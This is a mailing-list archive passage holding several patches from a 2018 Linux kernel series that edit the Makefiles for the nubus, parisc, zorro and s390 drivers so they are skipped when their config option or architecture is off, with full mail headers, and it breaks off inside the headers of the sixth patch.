Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 03:50:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4yy4-0004cG-F1
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 03:50:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727331AbeIZICv (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 04:02:51 -0400
Original-Received: from mail-qt1-f194.google.com ([209.85.160.194]:43244 "EHLO
        mail-qt1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726321AbeIZICu (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 04:02:50 -0400
Original-Received: by mail-qt1-f194.google.com with SMTP id l16-v6so15139893qtq.10;
        Tue, 25 Sep 2018 18:52:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=iSiVGxFWRigTCK+0CKFW0C5ujNtzh890wwlh0T9vG8s=;
        b=ac59sJB30DrbxZJjoJ+rzattfu9sR5VUA2craYN+DGKDQCnhUxIfAzIR2jer1ZAXwQ
         HXsjNiV8/s5Btwq4LH3XBufoxTV2CMBLnSzr1TTMxJeHIFtN9GUiMsNMuJw8avDObO5d
         w7r9l3nA6gX+yoTU/SG2pHuXUUt/KxIYhtYVGXOwx3hk95e3Q7qyb//5DfkMbxA3iOZS
         aARbB/QJniPrM96Hct/XGSdIIsJ1mZu8KzTMlOs2ReW2/JA2lQg599rc+xsmaDO1KkEs
         p4VAYQnp+mp6wpXMJNxDDkLHmc6vXoTaEOwn+8cKlrbquyE399I1B0sHTu4zPrj8Oq+R
         rIGg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=iSiVGxFWRigTCK+0CKFW0C5ujNtzh890wwlh0T9vG8s=;
        b=QSZSxoKud3l7qaSPLCYZ7N6XhWjjewndyhwtVCAjRXDX4u0YNImNQPWYeCtuYB3/mK
         n7g3ZZ7VCeGVHXYuYl5CWO+ckNjNXekfCZQMrAy8+Ad3NfrfZTT/sz2BQTdDeBnOYEGx
         mQvu7/t30Kwyy3FLe1+KWfnEeNw1WUxcNtwHBW5fAyU/EQlOXrnxIl168PSs8oOr7+EU
         3k06tz/8iKQkd5h6b51KkxFge5WJehIePye4bGf+SAlwRRrR6tNbiw3LwnSc7/OecoCd
         6v9Ert8ixOXlxZmZeS4FPm6k8oncdHl5G2TxsP+7sqKcLmONWCkA+mBeQMhOdBV9/e7P
         cESg==
X-Gm-Message-State: ABuFfogCNtAuQwBoAHU7Vr2h5jYcLQGq7yuEHdIcQjhJZzGcZg4I42is
        3zb1fDdRrlmObJlhNqfD9ak=
X-Google-Smtp-Source: ACcGV63kNjGeayLCfRcm2eJdQhEfh20YFCNNfNFEx7MzkIcZhycI/0OtMdKw88LP7iypiLaGdTIKpw==
X-Received: by 2002:ac8:1b2c:: with SMTP id y41-v6mr2946123qtj.334.1537926745954;
        Tue, 25 Sep 2018 18:52:25 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id o7-v6sm1916563qtp.75.2018.09.25.18.52.20
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 25 Sep 2018 18:52:25 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881698 gmane.linux.oprofile:13219 gmane.linux.ports.parisc:28994
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881698>

Avoids building driver if 'make drivers/nubus/' is called and
CONFIG_NUBUS is disabled.
Avoids building proc.o if CONFIG_PROC_FS is enabled but
CONFIG_NUBUS is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/nubus/Makefile | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/drivers/nubus/Makefile b/drivers/nubus/Makefile
index 6d063cde39d1..827301c4a84f 100644
--- a/drivers/nubus/Makefile
+++ b/drivers/nubus/Makefile
@@ -2,6 +2,6 @@
 # Makefile for the nubus specific drivers.
 #
 
-obj-y := nubus.o bus.o
-
-obj-$(CONFIG_PROC_FS) += proc.o
+obj-$(CONFIG_NUBUS) := nubus.o
+nubus-y := bus.o
+nubus-$(CONFIG_PROC_FS) += proc.o
-- 
2.19.0



From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH 3/7] drivers: parisc: Avoids building driver if CONFIG_PARISC
 is disabled
Date: Tue, 25 Sep 2018 22:52:29 -0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20180926015229.GA14967@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537926636 18976 195.159.176.226 (26 Sep 2018 01:50:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 01:50:36 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 03:50:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4yyE-0004p4-Kb
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 03:50:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727377AbeIZIDC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 04:03:02 -0400
Original-Received: from mail-qt1-f196.google.com ([209.85.160.196]:36731 "EHLO
        mail-qt1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726321AbeIZIDB (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 04:03:01 -0400
Original-Received: by mail-qt1-f196.google.com with SMTP id e26-v6so3473968qtq.3;
        Tue, 25 Sep 2018 18:52:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=Ml1FFJEZov3NZzRMfIOgz+x2FcVyTrOzctjRuk6MfEU=;
        b=Dmhpj/2lW0bjrKhvWrcqZCGz0PJ9R6TwZR+qrE8GZsiRUlnAebtJuen3GXKVB9tJRt
         qLg6dFqNsrKU5BIq4jpFRQIaeWiluWCsOm1+yqU5OVRLnmZQRPiUscxYOEyTIDMggJRF
         3hJI3pSvsyPTuoCqUEmMz0CG7Nne4ZKyAA1IHRUEBkwnrwtxJkAZTTffDN2bQwvZjSs+
         f2aKUWplpwFdWENlbBBiED5NHnI3y5K8sS7AQzrK0NjTFDc8BoJYFy32OhAjOT8BS0FP
         z1IL44uo6v60LdwujOJEp/Io7rjj0TW9iKb5UfNH8uDI4cKESkHTNx/hKSVhYNqZ96Xj
         fHjg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=Ml1FFJEZov3NZzRMfIOgz+x2FcVyTrOzctjRuk6MfEU=;
        b=Gw+ELitfMEn/3KKakoSaXWC2WtGXLscSbom7cRwAOPvBtiCaEPnW3gtFzgtmrZHA+j
         fGMEwnV5NQC4WCdaBrF5KDRTCOF/RKx4X5urNdz0EQi5Ejli4fpPwS2Vg8RiAMGnN+dO
         E3YKtyDopyrp88RMVod0hnY5/zsNTbGS02cF/4b8+kOdD89PBZrRaJr0yA+Bd3b5Illh
         uI9FrnQhFb36l6Aefag8VQfkjtPtiiCaBVNTbFDqt0KxXMl6GhjkjIQFcNwijc9Y335x
         PsLK8OZj+0CI7fhzPsKR+xc0B0t0XIl1CZFbZJ/fWNV8M8Adv12QHmV2yqKD850q6oNN
         tgng==
X-Gm-Message-State: ABuFfogQ3emrarrD1+sUDOXatxKLGLT7SKwah2Rg9Aci5whDLiVf/Dxh
        u0NkA9IVjhz46x48u7nQJyI=
X-Google-Smtp-Source: ACcGV60FmmK55WhK5+LX8SYxaBUTEEF64A+qTfE3IMhoH69gsRriKk/Zp4fYlCQoS591DXs5dEpVcg==
X-Received: by 2002:ac8:46d3:: with SMTP id h19-v6mr2923762qto.188.1537926758264;
        Tue, 25 Sep 2018 18:52:38 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id i32-v6sm2490215qtb.21.2018.09.25.18.52.32
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 25 Sep 2018 18:52:37 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881700 gmane.linux.oprofile:13220 gmane.linux.ports.parisc:28995
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881700>

Avoids building driver if 'make drivers/parisc/' is called and
CONFIG_PARISC is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/parisc/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/Makefile b/drivers/parisc/Makefile
index 3cd5e6cb8478..80049d763aa0 100644
--- a/drivers/parisc/Makefile
+++ b/drivers/parisc/Makefile
@@ -24,5 +24,5 @@ obj-$(CONFIG_EISA)		+= eisa.o eisa_enumerator.o eisa_eeprom.o
 obj-$(CONFIG_SUPERIO)		+= superio.o
 obj-$(CONFIG_CHASSIS_LCD_LED)	+= led.o
 obj-$(CONFIG_PDC_STABLE)	+= pdc_stable.o
-obj-y				+= power.o
+obj-$(CONFIG_PARISC)		+= power.o
 
-- 
2.19.0



From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH 4/7] drivers: zorro: Avoids building proc.o if CONFIG_ZORRO
 is disabled
Date: Tue, 25 Sep 2018 22:52:42 -0300
Lines: 26
Approved: news@gmane.org
Message-ID: <20180926015242.GA14980@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537926649 19756 195.159.176.226 (26 Sep 2018 01:50:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 01:50:49 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 03:50:44 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4yyQ-0004p4-EB
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 03:50:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727400AbeIZIDO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 04:03:14 -0400
Original-Received: from mail-qt1-f195.google.com ([209.85.160.195]:41277 "EHLO
        mail-qt1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727066AbeIZIDO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 04:03:14 -0400
Original-Received: by mail-qt1-f195.google.com with SMTP id m15-v6so9502499qtp.8;
        Tue, 25 Sep 2018 18:52:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=+eFJ1SZwtq/lj7hGmmiR7y5o0Ud3EAoYPRUw5Wruwyo=;
        b=uEQe4HRU9RGOF5P5HZS9IbERSubF2n/90djAfUTJGrq8A82svvE6WraqzgzJWnC3Zs
         JkOM5xeTlbKSxiIiz8iwlZBNv7oS1GpFEXlu1hEQrJtUGL39fpi8v27PCRmWW/6KNIhC
         LG9yhq5tnOHU4K4YYqvl7ZA1FssUHrlNZZREdG9Sl4ZW04nN0+83PrLJZxnIabY2qSz8
         CZ/oNFVkTYSsUKaPAWKvGqhSfy7W6sz74D3AhpOHzxcpoaKZ7m0TJOUaVodLWXqPDKEc
         fM1vf5G5BJYYpYv6wtTj8SnTLpySDfTIN/4iZ4e0RjyInqpY+8bUYiwUjuOxOyGgdvRI
         hihw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=+eFJ1SZwtq/lj7hGmmiR7y5o0Ud3EAoYPRUw5Wruwyo=;
        b=ppbwoWXAq0emgeOyvaoTkHqfs0gcYmurwfp76/1ZL2tfB67WspuYEnzrIlYLVhMtBj
         KOS+LSbc1ajI0SbIrWJ/5cmmdWa0XR/swxngNpIMWauhMpIYbgi46Z8/muEMj+Uv1EQj
         q3qZrhRtrRpg61RtgSYQfst/wzJUIRifXCQTjWUgvN1pHybZvOy47qnWxZs9oURUl9Xd
         UWPB3znexu0VczLzNOMh0YD6aJGhJXAWDbxJOShHWYW3UjHNPAkdVuz3D+jnUbqStojs
         JrFSMJurbNZB0PG945Wg1GfG1MhZZKG3f1b5hR2bJ5lTiV9bYg3btyIWozhGwBNuG0NP
         bZFg==
X-Gm-Message-State: ABuFfohhBpd6lRlxRI/8gXyHvlNnyCBUc4jZUIiMgHIEHjvg56eoXFeS
        W8M8oSf0v/CkvY9GSunGW2k=
X-Google-Smtp-Source: ACcGV62/2EyUz7I6ZZIrwXZhhI5uM44MlL2YP3bcoBxqusqqsWNxgLaFyaSWewpvW7LQDarJmK5sHw==
X-Received: by 2002:a0c:c119:: with SMTP id f25-v6mr1894741qvh.219.1537926770463;
        Tue, 25 Sep 2018 18:52:50 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id e65-v6sm2244539qkf.39.2018.09.25.18.52.45
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 25 Sep 2018 18:52:50 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881701 gmane.linux.oprofile:13221 gmane.linux.ports.parisc:28996
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881701>

Avoids building proc.o if 'make drivers/zorro/' is called and
CONFIG_ZORRO is disabled, even if CONFIG_PROC_FS is enabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/zorro/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/zorro/Makefile b/drivers/zorro/Makefile
index b360ac4ea846..4e5c7045ac7a 100644
--- a/drivers/zorro/Makefile
+++ b/drivers/zorro/Makefile
@@ -4,8 +4,8 @@
 #
 
 obj-$(CONFIG_ZORRO)	+= zorro.o zorro-driver.o zorro-sysfs.o
-obj-$(CONFIG_PROC_FS)	+= proc.o
 obj-$(CONFIG_ZORRO_NAMES) +=  names.o
+zorro-$(CONFIG_PROC_FS)	+= proc.o
 
 hostprogs-y 		:= gen-devlist
 
-- 
2.19.0



From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH 5/7] drivers: s390: Avoids building drivers if ARCH is not
 s390.
Date: Tue, 25 Sep 2018 22:52:54 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20180926015254.GA14984@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537926661 20540 195.159.176.226 (26 Sep 2018 01:51:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 01:51:01 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 03:50:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4yyd-0005EW-5O
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 03:50:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727422AbeIZID0 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 04:03:26 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:35061 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726968AbeIZIDZ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 04:03:25 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id z14-v6so10644239qtn.2;
        Tue, 25 Sep 2018 18:53:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=wFwPD257gEf6jcXSywUF4KDj7r7qvliCjiZQYQyJ1vc=;
        b=AWqZJCTbrbLZQCGcJApGVRek4I3vA42BSNQkkRD11Myr+SEonNHwQhWgK+QDAevvPe
         /7IHIuN1ZhkJEjAYay/kWeM/qaYWm0/SRg4pvQme8/718tnZrR3IKQqz48B8lIrbG6N1
         eB1LqqY8piNAFKk+HZdb3y34qpT7jKGSS9fSOerbm3wsTjKTUaCNAquQhQ0VcTXNV/m7
         fA8/RSYTwbCseFXQddxI/40XDv5Ep7UFVJOcmyUZ1EeKKdxU0Bt2YNkE5FCHdxHqm0Np
         n6lYMx1EdQtGra//kIEAH/fBqOWj2BGJum2uhpQTK4EvvtiB3y5QF33wLRFiOHlkZe0E
         dw+Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=wFwPD257gEf6jcXSywUF4KDj7r7qvliCjiZQYQyJ1vc=;
        b=BxAEqJMXYnqUyTs62Hz2/azm0ZHM9Xd0P45CRcRPhk2dTiR3ug52ZwzRvw0PXc17uA
         fkl8+ZaR2jtVQs7kSkxGFwQTFTINMmnlIiw7tYF7X+IrKQp01pWJmwOV54aB1xxbUEr5
         3R+WKI39Nv1OfDkhb9AjBWS+Dx2zmr1QrwLhw1KjmOWr23345ZoTLbhR///QlvXKZBl3
         /BB4G8CEH/0zeiApD6SoQDHQGfwOjaDrNp1123UftoRN/rlIIBqtA2kHRvYdXlb/9pds
         U1rDxjvmI2UaDULTLaQKhT1eC4VYRatkDMfpL0HSe/6rxkZqeDyy4wfgFoEbW9pSYQzT
         RNnw==
X-Gm-Message-State: ABuFfohJqeRmhUNjZX5KAFZJ/pHC3PveNPvLlJq25KI3B6FkN8AZTtMu
        m5i1HGep63rzN49bYGGkWw8=
X-Google-Smtp-Source: ACcGV63+EQKDCynaQfmq1FTk6y4P/HI9trpCntexAQnt/InAZzDAwlDYMXOt2UFFl30xeRp/IOs/TA==
X-Received: by 2002:ac8:1493:: with SMTP id l19-v6mr2896194qtj.129.1537926782117;
        Tue, 25 Sep 2018 18:53:02 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id z8-v6sm2024556qto.72.2018.09.25.18.52.57
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 25 Sep 2018 18:53:01 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881702 gmane.linux.oprofile:13222 gmane.linux.ports.parisc:28997
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881702>

Avoids building s390 drivers if 'make drivers/s390/' is called but
ARCH is not s390.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/s390/Makefile | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/s390/Makefile b/drivers/s390/Makefile
index a863b0462b43..0575f02dba45 100644
--- a/drivers/s390/Makefile
+++ b/drivers/s390/Makefile
@@ -3,7 +3,7 @@
 # Makefile for the S/390 specific device drivers
 #
 
-obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
-
-drivers-y += drivers/s390/built-in.a
-
+ifeq ($(ARCH),s390)
+	obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
+	drivers-y += drivers/s390/built-in.a
+endif
-- 
2.19.0



From - Thu Nov 08 21:42:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH 6/7] drivers: oprofile: Avoids building driver from direct
 make command
Date: Tue, 25 Sep 2018 22:53:05 -0300
Lines: 24
Approved: news@gmane.org
Message-ID: <20180926015305.GA14994@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537926671 21244 195.159.176.226 (26 Sep 2018 01:51:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 01:51:11 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 03:51:06 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4yyn-0005RK-O3
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 03:51:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727443AbeIZIDg (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 04:03:36 -0400
Original-Received: from mail-qk1-f196.google.com ([209.85.222.196]:43613 "EHLO
        mail-qk1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726602AbeIZIDg (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 04:03:36 -0400
Original-Received: by mail-qk1-f196.google.com with SMTP id v18-v6so5200228qka.10;
        Tue, 25 Sep 2018 18:53:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=kvn7jntSbpyZYSyKvpa0GLBcuUphn3p989QYl+ADtiA=;
        b=VPf2R/0dkyyhlLnQQbV0H3qOVfJdZllY/vX0Q8Jc8Finp2MhgJyyOfrwJ0FCWXCuM1
         xL/9yQq59mHShtQKK5oJCpgWQ21jaU/m+zqheuiS6bzXNjVcLCqlSzQWy/WpLPJpIoUs
         F9HTIIgd2AT+tiO1VzRegBXRE7hNH/p6o1ORB4zc/UfV2lnW0UvSFySJYTKIheU1CdS+
         l9fGNeyYUHnmWz3FMNOPcD42HrK8kQzYgqwVy8CbNJDsuxAEM/iKtBISxe7ymz4Eldns
         UiwGYhNB+rmD9B0dJql43wcIK0EHC2e6m0ygYYIye05qGn0LnD3dJ4+l41v2Ef9Xanki
         quAg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=kvn7jntSbpyZYSyKvpa0GLBcuUphn3p989QYl+ADtiA=;
        b=LOH+E2OIrCMCFLQd/rEB3G4YsGH6sgmhM7oIE1AV7v9CEMtd6A0sjsxChG+WxzuuYJ
         l/5BjZsGBVDtTb2osCy+ZsjXevRlWVFdqMiljXEi5j+T/iLAYBxzEG4Wu60AWmw9ln1c
